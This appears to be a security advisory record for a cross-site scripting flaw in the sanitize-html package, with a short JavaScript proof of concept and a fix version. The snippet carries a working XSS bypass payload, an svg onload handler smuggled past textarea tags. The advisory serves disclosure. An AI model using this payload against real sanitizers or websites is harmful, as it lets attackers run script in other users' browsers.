Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.
var sanitizeHtml = require('sanitize-html');
var dirty = '!<textarea></textarea><svg/onload=prompt`xs`></textarea>!';
var clean = sanitizeHtml(dirty, {
allowedTags: [ 'textarea' ]
});
console.log(clean);
// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!
Update to version 1.11.4 or later.
{
"github_reviewed_at": "2020-06-16T22:02:52Z",
"github_reviewed": true,
"cwe_ids": [
"CWE-79"
],
"severity": "MODERATE",
"nvd_published_at": null
}